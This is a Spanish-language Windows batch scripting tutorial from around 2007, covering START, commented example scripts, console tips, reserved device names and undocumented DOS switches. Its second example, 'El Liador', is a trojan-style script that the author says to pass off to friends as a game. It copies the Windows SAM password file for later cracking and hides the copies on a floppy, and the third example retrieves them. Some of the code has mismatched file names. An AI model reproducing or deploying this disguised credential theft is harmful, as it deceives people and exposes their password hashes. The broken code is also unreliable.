
Ya te imaginas lo que quiero decir.

START
Cuando llamas a un .exe o a un .bat desde tu propio archivo batch, la ejecucin de tu programa
queda pausada. Una vez finalizado el proceso del programa, contina la ejecucin del batch. Si
no quieres que sea as, puedes usar la orden START antes del nombre del programa:
start notepad
Esto iniciara el bloc de notas, y este ltimo funcionara a la vez de nuestro archivo batch. No lo
entiendes, verdad?
notepad
exit
Con ese archivo batch, se iniciar el bloc de notas, pero la ventana del intrprete de comandos
MS-DOS no se cerrar hasta que se cierre el bloc de notas. Sin embargo, en este caso:
start notepad
exit
Se ejecutar la instruccin exit antes de que se cierre el proceso del bloc de notas.

3) EJEMPLOS
Bueno, seguro que estabas esperando algn ejemplo para sentirte ms realizado, y usarlo de
plantilla... Pues aqu estoy yo para ayudarte! Empowering yourself, o algo as...
Cada lnea rem comenta a la(s) anterior(es).

a) Ejemplo 1
Un informe completo netstat.
<++> batch\netstat.bat
@echo off
title Informe: Netstat + PID + ip
rem >>>Cambiar el ttulo de la ventana
echo -- Netstat + PID + ip 1.0
echo.
if exist %temp%\informe.txt (
rem >>>Si existe informe.txt
echo Borrando archivo antiguo del %temp%\informe.txt
rem >>>Se borra
echo Continuando el proceso
echo.

) else (
rem >>>Y en caso contrario...
echo.
rem >>>No se hace nada.
)
echo - Generando netstat -a -o...
netstat -a -o > %temp%\informe.txt
rem >>>Crea un informe netstat -a -o y lo guarda con ese nombre
echo - Generado con exito.
echo.
echo - Generando netstat -a -o -n...
echo. >> %temp%\informe.txt
echo. >> %temp%\informe.txt
rem >>>Crea dos lneas en blanco y las guarda en el archivo
echo --- IPs y puertos en formato numrico: >> %temp%\informe.txt
netstat -a -o -n >> %temp%\informe.txt
rem >>>Anexa al contenido de informe.txt un netstat -a -o -n
echo - Generado con xito.
echo.
echo - Abriendo con notepad...
echo - Esperando respuesta del usuario...
call notepad %temp%\informe.txt
rem >>>Llama al Bloc de Notas, con el contenido del archivo.
rem >>>Hasta que no se cierre el Bloc, no se continua.
rem >>>Esto es as para que no quede un informe.txt residual, en %temp%.
echo
echo - Eliminando...
del %temp%\informe.txt
rem >>>Se supone que se ha acabado de ver, as que se borra el informe.
echo Tarea completada!
exit
<-->

b) Ejemplo 2
Bueno, esta es la primera entrega de un programa llamado "El Liador", luego vers el
funcionamiento. Comentado, como siempre.
<++> batch\liador.bat
@echo off
cls
title El Liador v1.0 - VERSION LIGHT - (c) Nost 2006
echo El Liador v1.0 - VERSION LIGHT - (c) Nost 2006
rem >>> el echo off, el cls, los echos y el title... lo tpico.
echo.
echo Advertencia: Esta versin de El Liador no guarda el rbol de directorios.
pause

rem >>>Esperando...
echo Creando carpeta temporal...
if exist %temp%\battemp (
rem >>>Si existe la carpeta temporal...
echo.
echo Ya haba un temporal de El Liador, probablemente debido a un error
echo del programa o a un cierre inesperado. Pulsa cualquier tecla para
echo borrarla, en caso contrario, cierra la ventana con un clic en [X]
pause >nul
rd %temp%\battemp /q /s
rem >>>se borra la carpeta, pidiendo confirmacin.
echo Archivos temporales de El Liador borrados. Continuando el proceso...
echo.
) else (
rem >>>Y en otro caso...
echo.
rem >>> No se hace nada.
)
md %temp%\battemp >nul
rem >>> Se crea la carpeta. si hay algn error, que se lo cuente a nul.
echo.
echo 1a parte: detalles de archivos. Tiempo estimado: 60-200 segundos.
echo Creando archivo 1...
dir c:\ /s /o:g > %temp%\battemp\parte1
rem >>> Detalles de archivos /s=mostrar subcarpetas, /o:g=mostrar primero dirs
echo Archivo 1 creado con xito.
echo.
echo 2a parte: archivo SAM
copy c:\windows\repair\sam %temp%\battemp\parte2
rem >>> Copiar el sam, listo para el l0pht. Recuerda que algunos lamers usan la contrasea del
Windows para todo.
echo.
echo 3a parte: compresin.
echo Comprimiendo archivo 1...
@makecab %temp%\battemp\parte1 %temp%\battemp\parte1._ >nul
rem >>> Compresin del archivo...
echo Archivo 1 comprimido.
echo Comprimiendo archivo 2...
@makecab %temp%\battemp\parte2 %temp%\battemp\parte2._ >nul
echo Archivo 2 comprimido.
echo.
echo Introduce un diskette formateado en la unidad A:
pause
if exist a:\Liador\parte1._ (
rem >>> Si ya existe eso en el diskette
echoecho Ya hay un archivo de El Liador en este diskette. Si continuas, ser borrado.

echo Si no quieres eliminarlo, cierra la ventana de El Liador.


pause
rd a:\Liador /q /s
rem >>> se pregunta, y si se acepta, se borra todo.
echo Archivos antiguos de El Liador borrados. Continuando el proceso...
echo.
) else (
echo.
)
echo Copiando archivos a a:\Liador\
md a:\Liador
copy %temp%\battemp\parte1._ a:\Liador\ >> %temp%\battemp\errores
echo Archivo 1 copiado.
copy %temp%\battemp\parte2._ a:\Liador\ >> %temp%\battemp\errores
rem >>> Copiamos los archivos.
echo Archivo 2 copiado.
echo Creado con El Liador Light > a:\Liador\version._
echo.
echo Ocultando...
attrib a:\Liador\* * +h
rem >>> Se ocultan los archivos.
attrib a:\Liador +h /D /S
rem >>> Y se oculta el directorio.
echo Archivos ocultados.
echo.
echo Fin de copia de archivos.
echo.
echo Eliminando temporales...
rd %temp%\battemp /q /s
rem >>> Se eliminan los temporales.
echo Tarea completada!
pause
exit
<-->
Bueno, pues hay cosas que explicar:
Nul: Esto es una redireccin, que hace que la salida del programa se pierda. Esto es til para
hacer un programa no tenga salida, es decir, que sea "silencioso".
Este programa es para putear a tus amigos. Lo llevas a su casa diciendo que es un juego, y los
muy ingenuos lo ejecutan. Evidentemente, tienes que cambiar los echos ("Detalles de archivos"
> "Instalando juego" xD) para que no cante tanto. Tambin puedes hacer algo de cierto, por
ejemplo, que copie algn tipo de archivo al disco duro, luego lo borre del disquete (por los
frecuentes problemas de espacio) y que luego siga con su tarea :)

c) Ejemplo 3

Si has hecho el programa anterior, y lo has ejecutado, necesitaras este para obtener los datos
del diskette.
<++> batch\desliador.bat
@echo off
cls
title El DesLiador v1.0 - (c) Nost 2006
echo El DesLiador v1.0 - (c) Nost 2006
echo.
rem >>> Pues lo dicho, los echos.
echo Introduce un diskette con datos de El Liador en la unidad A: ...
pause
if exist a:\Liador\version._ (
rem >>> Si hay un archivo de el liador.
echo.
rem >>> Pues no pasa nada, se continua.
) else (
echo.
echo No hay un archivo de trabajo de El Liador en el diskette introducido.
echo El DesLiador no puede continuar.
pause
exit
rem >>> Pero como no lo haya... UY, COMO NO LO HAYA! jejeje pues el programa no puede
continuar.
)
echo Creando carpeta de trabajo del DesLiador...
if exist %systemdrive%\DesLiador\version (
rem >>> Si ya hay un archivo de El DesLiador en el disco duro (el archivo ya descomprimido).
echo.
echo Ya hay una carpeta de trabajo con archivos de El Liador. Si continuas y no
echo habas copiado los ficheros, sern borrados permanentemente.
echo Puedes cancelar cerrando la ventana de El DesLiador.
pause
rd %systemdrive%\DesLiador /q /s
rem >>> Es una pena. Los archivos sern borrados :'(
echo Archivos de trabajo de El Liador borrados. Continuando el proceso...
echo.
) else (
echo.
rem >>> Si no, pues nada.
)
md %systemdrive%\DesLiador
rem >>> Se crea la carpeta.
echo.
echo 1a parte: detalles de archivos.
echo Copiando archivo 1...

attrib a:\Liador\parte1._ -h
rem >>> Se quita el atributo oculto, para evitar problemas con copy.
copy a:\Liador\parte1._ %systemdrive%\DesLiador\parte1._
rem >>> Y se copia.
attrib a:\Liador\parte1._ +h
rem >>> Se vuelve a establecer el atributo.
echo Descomprimiendo archivo 1...
expand %systemdrive%\DesLiador\parte1._ %systemdrive%\DesLiador\detalles1 >nul
rem >>> Descompresin del archivo.
del %systemdrive%\DesLiador\parte1
rem >>> Una vez descomprimido el archivo, se borra el archivo comprimido. De todas formas, si
lo quieres lo tienes en el diskette... pero no creo que te haga falta, teniendo el descomprimido.
echo Archivo 1 descomprimido con xito.
echo.
echo 2a parte: copia y descompresin del archivo SAM.
echo Copiando archivo SAM...
attrib a:\Liador\parte2._ -h
copy a:\Liador\parte2._ %systemdrive%\DesLiador\parte2._
attrib a:\Liador\parte2._ +h
echo Descomprimiendo archivo SAM...
expand %systemdrive%\DesLiador\parte4._ %systemdrive%\DesLiador\SAM2 >nul
del %systemdrive%\DesLiador\parte4._
rem >>> Se hace lo propio con el Sam.
echo Archivo SAM descomprimido con xito.
echo.
echo 3a parte: copia del archivo de control.
attrib a:\Liador\version._ -h
copy a:\Liador\version._ %systemdrive%\DesLiador\version
echo rd %systemdrive%\DesLiador /q /s > %systemdrive%\DesLiador\Borrar-todo.bat
rem >>> Se auto-genera un archivo para borrar todos los datos de El Desliador.
attrib a:\Liador\version._ +h
echo Archivo de control copiado con xito.
echo.
echo 4a parte: borrado del diskette
echo Esta parte no es realmente necesaria, pero es recomendable para no dejar
echo "rastro" en el diskette. Recuerda que puedes cancelar cerrando la
echo ventana de El DesLiador.
pause
attrib a:\Liador -h /S /D
rem >>> Se quita el atributo del directorio...
rd a:\Liador /q /s
rem >>> Y a la mierda!
echo Tarea completada!
pause
exit
<-->

Bueno, todo un ejemplo... yo creo que excepto el for, se toca todo...

d) Ejemplo 4
<++> batch\dirsimple.bat
@echo off
for %%A in (*) do echo %%A
exit
<-->
Jaja no tengo ganas de escribir. Ah est un cdigo sencillo para un dir simple. Es que tena la
obligacin moral de usar un for.

4) APNDICE
a) TIPS de cmo usar el intrprete de comandos y el batching.
-El batching no es potente. Son los programas que usan el batching los que cortan el bacalao.
Aunque quizs yo no tenga razn.
-Mientras ests en una ventana del intrprete de comandos, puedes parar cualquier tipo de
proceso (ejecutable, batch) con un Control-C.
-Ante la duda la ms tetuda.
-Hay diferencias entre el mapa de caracteres usado en el DOS y en el Windows. Prubalo:
1: Crea un fichero que tenga acentos en el nombre.
2: Vete al intrprete de comandos, entra en la carpeta donde est situado el archivo anterior
(usando cd) y escribe: dir > listado.txt.
3: Ahora lee el nuevo archivo, listado.txt. Vers que los acentos ya no son tan bonitos como los
pintaban.
-Como ya sabrs, escribiendo "echo %variablee%" en la consola se escribir el contenido de la
variable. Bueno, pues hay varias variables "especiales" que quiz te interesen:
%CD%: Directorio actual.
%DATE%: Fecha actual.
%TIME%: Hora actual.
%RANDOM%: Nmero aleatorio entre 0 y 32767.
%ERRORLEVEL%: Errorlevel actual (cdigo de salida del ltimo programa).
%CMDEXTVERSION%: Versin de las extensiones de comando del procesador.
%CMDCMDLINE%: Ruta del programa que invoco al intrprete de comandos.
El %RANDOM% es *especialmente* interesante.

-En batching, nada funciona a la primera.


-La pila del intrprete de comandos tiende a desbordarse.
Crea un fichero llamado "desbordamiento.bat" e incluye en el la siguiente lnea:
@call desbordamiento
Haz doble clic sobre l y en breves segundos un divertido mensaje aparecer. Divertido sobre
todo porque de las 3 lneas, la ltima tiene un error de ortografa (al menos en mi diccionario la
palabra "precesamiento" no aparece).
-Escribe en tu consola "copy con con". Insulta a la consola, escribe lo que quieras. Cuando te
canses (pronto, seguro) pulsa Control-C.
-Rubia de bote, chocho morenote.
-Conoces los comodines de archivo? Si hombree, estos:
?: Reemplaza una letra en el archivo. Por ejemplo, escribir:
dir c?s?
Dara los siguientes resultados (si estn en tu lista de archivos, claro):
casa
cesa
cosa
case
c_s&
*: Reemplaza cualquier cadena de letras. Por ejemplo:
dir Me*
Resultara:
Mezquino
Mellizo
Meln
Me cago en tu padre
-El comando VERIFY activa la verificacion all escribir en un disco. Prubalo.
-Aunque la ventana del intrprete de comandos es ms negra que los cojones de Diarra (el del
R. Madrid), la puedes cambiar con "color". Dale un aspecto ms profesional a tu ventana
escribiendo:

color 0a
Para ver todos los colores posibles, "color /?" es tu aliado ;)
-El goto es un ataque directo contra la programacin estructurada. Todo el mundo lo dice. Pero
a m me da igual. salo.
-Si vienes del DOS, conocers doskey. Solo decirte que pulsar F7 en el intrprete de comandos
es algo ms que interesante.
-El comando VER no sirve para nada. Bueno, tiene la utilidad que t quieras darle.
-Desconozco la utilidad del comando "print" Ser porque no tengo impresora.
-El comando "xcopy" te permite copiar rboles de directorios. Escribe "xcopy /?" para ver algo
de la sintaxis.
-Como recordars, los argumentos al llamar un archivo batch tienen de nombre %1, %2... etc.
Pero quizs no conocas %0. Este argumento representa la lnea de comando desde la que se
llam al archivo batch.
-El comando "edit" debera estar prohibido por ley y solo debe usarse en situaciones de
emergencia (era una broma, en realidad es buensimo).
-El uso de un punto INMEDIATAMENTE despus de algunos comandos del DOS funcionar como
*.*
Ejemplos:
DEL. (borra todos los archivos del directorio actual)
COPY. A:\ (copia todos los archivos del directorio actual a A:)
Puede haber ms comandos con los que funcione lo del punto.
-Con los comandos "time" y "date" puedes cambiar... bueno, ya lo descubrirs. Pueden servirte
para molestar a la gente. Ya lo veras, coo.
-Prueba el comando PROMPT. Es bueno. "prompt /?".
-Otra interesante manera de volver loco al intrprete de comandos es "cmd | more". Desde
luego es gracioso. Pulsa Control-C y aparecer un error muy raro. Para salir, escribe exit (la
consola no se cerrara).

b) ARCHIVOS EXTRAOS que nadie debera conocer


CON

Bueno, pues no queda muy claro para lo que sirve. Digamos que cuando acta como dispositivo
de entrada es el teclado, y cuando acta como dispositivo de salida, es la pantalla. Esto se usa
con operadores de redireccin. Que mejor manera de explicar lo ininteligible que con un
ejemplo:
copy con archivo.txt
Parece que no pasa nada, tu solo limtate a escribir. Cuando quieras escribir, pulsa Control-Z.
Esto significa "fin de archivo". Ahora se ha creado un nuevo archivo, e incluye lo que has escrito.
Como recuerdas, el comando copy tiene:
copy entrada salida
Pero antes hemos usado "con" como entrada. Pero, y si lo usamos como salida? Tericamente,
sera la pantalla...
copy archivo.txt con
Efectivamente! Funciona bien. En la pantalla ha aparecido el contenido del archivo archivo.txt

NUL
Todo lo que mandes a este "archivo" se ira a tomar por culo. Parece intil, pero es bastante til.
dir > nul
Parece que no ha pasado nada. Bueno, realmente s que ha pasado, ha acaecido un dir, pero no
ha salido por pantalla. La salida ha ido a nul, y de ah, a la mierda.
Nul sirve solamente para deshacerse de la salida de los programas.

LPTx
Manda la salida del comando al puerto LPT especificado.
dir > LPT3

COMx
Manda la salida del comando al puerto COM especificado.
dir > COM5

AUX
La verdad es que no tengo ni idea de que dispositivo representa. Creo que es el modem, pero
no estoy seguro.

PRN

Lo que pongas va directamente a la impresora.


dir > PRN
Y la verdad es que ya no recuerdo ninguno ms.
Por cierto, como comprenders, ningn archivo puede tener esos nombres. Intntalo, aunque
sea desde el explorador de Windows. 20 euretes a quien consiga ponerle de nombre "nul" a un
archivo. La mayora de los comandos del MS-DOS tienen un comportamiento errtico al pasarle
de argumento cualquiera de esos nombres. Un "edit con" vuelve al edit completamente
gilipollas. Parece que no pasa nada, pero si pulsas Control-C se muestra la pantalla principal
(como se puede ver, nunca acaba de cargar) y un "dir nul" hace que el dir tenga una salida
extraa.

c) CARACTERES EXTRAOS que hacen cosas raras


No s si os habis fijado, pero al pulsar Control-C se escribe ^C. Pero hay algo ms, si os fijis,
aunque se escriben 2 letras, si retrocedes pulsando la flecha izquierda (me refiero a <-) se
comporta como si fuera una sola letra.
Aqu, la lista:
1a columna, decimal; 2a columna, hexadecimal; 3a columna, smbolo Control+?, 4a columna,
representacin grfica; 5a columna, explicacin intil.
Dc\\Hx\\C+\\Represntcn. grfica \\Explicacion intil
00 00 ?? Sin representacin
Carcter nulo
01 01 ^A Carita negra
02 02 ^B Carita blanca
03 03 ^C Corazn
Cancelar, break y otras rarezas
04 04 ^D Rombo
05 05 ^E Trboles
06 06 ^F Picas
07 07 ^G Pitido
Y pitido tambin :)
08 08 ^H PuntoBlancoFondoNegro Retroceso (borrar un carcter hacia atrs)
09 09 ^I Tabulador
Tabulador
10 0A ^J Salto de lnea
Retorno de carro
11 0B ^K Masculino
No parece que haga nada
12 0C ^L Femenino
Igual que el anterior
13 0D ^M Salto de lnea
Fin de lnea
14 0E ^N Una semicorchea
15 0F ^O Parece una... estrella?
16 10 ^P Triangulo a la derecha
17 11 ^Q Triangulo a la izqda.
18 12 ^R Doble flecha arr-aba
19 13 ^S 2 smbolos exclamacin S que existe, pero no consigo escribirlo
20 14 ^T Smbolo del antigrafo

21 15 ^U Smbolo de seccin
22 16 ^V Subrayado gordete
23 17 ^W Doble flecha subrayada
24 18 ^X Flecha hacia arriba
25 19 ^Y Flecha hacia abajo
26 1A ^Z Flecha derecha
Fin de fichero
27 1B ^[ Flecha izquierda
28 1C ^\ Cosa muy rara, como el smbolo pero dado la vuelta
29 1D ^] Doble flecha izq-der
30 1E ^^ Triangulo hacia arriba
31 1F ^_ Triangulo hacia abajo
32 20 __ Espacio (aunque este ya es una carcter normal)
Dc//Hx//C+//Represntcn. grfica //Explicacin intil
En la representacin grfica del 08 no me he explicado muy bien: un punto blanco en el centro,
con un fondo negro.
A excepcin del ^G (bastante til) no te recomiendo usar ninguno de los dems, porque puedes
tener problemas graves con ellos. Se pierden con mucha facilidad y provocan fallos de diversos
tipos. Para eso se invent el UUENCODE y el BASE-64 pero eso sale fuera del alcance de este
texto.

d) FUNCIONES INDOCUMENTADAS DEL DOS, o las cosas que no


debieron salir de Microsoft
Esto es una cosa fuera de tema. Entre otras razones: promet no adentrarme en el DOS (solo
hablar del batching) y otra cosa que no promet pero parece lgica es no hablar de cosas que ya
no funcionan, pero este es mi texto, y hago lo que quiero con l.
Todo esto viene traducido de un texto del ao de Mari Castaa que ya te imaginas que es poco
representativo, pero para rellenar va de puta madre.

TRUENAME (NO funciona en NT)


TRUENAME nombredearchivo
TRUENAME nombrededirectorio
Te dice la ruta completa al archivo especificado. TRUENAME tambin es capaz de ver a travs
de unidades SUBST o JOIN (prueba "subst /?") por lo que es especialmente til. Tambin ignora
las unidades de red mapeadas.
Otra cosa rara, lo siguiente:
TRUENAME \Soy\ElGran\..\Nost
Da la respuesta:

C:\Soy\Nost
Aunque las carpetas \Soy\ElGran\ y el archivo Nost no existan. De todas maneras, supongo que
es una funcin indocumentada por alguna razn.

COMMAND /F (no estoy seguro de si funciona en NT... supongo que s)


Introducido en la lnea de comandos, har que en los mensajes "Abortar, Reintentar, Ignorar,
Error" la respuesta sea siempre "Error".

VER /R (NO funciona en NT)


Muestra detalles adicionales sobre la versin de MS-DOS:
MS-DOS Versin 5.00
Revisin A
DOS esta en HMA

FORMAT /AUTOTEST (NO funciona en NT)


Te permite formatear unidades sin que el sistema te haga ninguna pregunta (quieres
formatear?, etiqueta?, quieres formatear otro?)

FORMAT /U (S funciona en NT... segn el concepto que tengas de "funciona")


Segn este documentito, debera hacer el disco ilegible... pero despus de ponerlo se puede
leer. La verdad es que ese modificador /U no est documentado, pero no se para lo que sirve...

FORMAT /Z (NO funciona en NT, ya hay otra funcin documentada)


Te permite elegir el tamao de la unidad de asignacin.

DIR, (NO funciona en NT)


Con este mini-modificador en DIR, podrs ver todos los archivos, incluidos los ocultos.

DEL. (SIIIIII funciona en NT)


El uso de un punto INMEDIATAMENTE despus de algunos comandos del DOS funcionara como
*.*
Ejemplos:
DEL. (borra todos los archivos del directorio actual)
COPY. A:\ (copia todos los archivos del directorio actual a A:)
Puede haber ms comandos con los que funcione lo del punto.

5. NOTA SENTIMENTAL (tambin llamada "PARANOIAS DE


MIERDA")

Puedes saltrtelo. Mejor dicho: HAZLO.


Ya est, que ya estoy hasta las pelotas de tanto escribir. Digamos que se me ha hecho largo el
crear el archivo (mentira) aunque realmente parece que haya tardado 1 ao en hacerlo, es
mentira, qu ms quisiera yo.
Este curso ha sido creado en 15 das. En realidad ha sido editado (y enviado) para SET. Esta
especie de disclaimer no ser publicado en SET.
La mayora de los ejemplos han sido probados en Windows 2000 (los de la parte del curso que
escrib el ao pasado) y TODOS los ejemplos los he vuelto a probar este nuevo ao con Windows
2003 (el que uso ahora, mientras escribo estas lneas) y van bien. Pidamos a Dios (y una mierda,
yo soy ateo) que funcionen en Windows XP... que yo creo que lo harn.
Recuerda que puedes contactarme en <nost@vodafone.es> de 2 maneras: o mandndome un
mail (se valorara la ausencia de cabecera falsa) o agregndome al Messenger a la misma
direccin, aunque jams me pillaras conectado.
Otra cosa: la programacin en batch es una mierda. Psate al Visual Basic. Yo lo hice, y ahora
estoy intentndolo con el C. En cualquier caso, te deseo suerte, y te aviso: ninguna empresa te
contratara sabiendo batch. A no ser que hagas una nueva versin del HalfLife usando solo
archivos batch, en cuyo caso estara encantado de ser beta-tester.
Bueno, y dejo de amargaros ya, coo.
Mencin especial a los de HACKHiSPANO, que me aguantan (y que no me banean, y mira que
intento que me baneen pero no lo hacen)...

Nost
Sevilla, Espaa
Septiembre de 2007

Conversin y edicin de TXT a PDF por FranRG96 para la Biblioteca de FranRG96 Blog:

También podría gustarte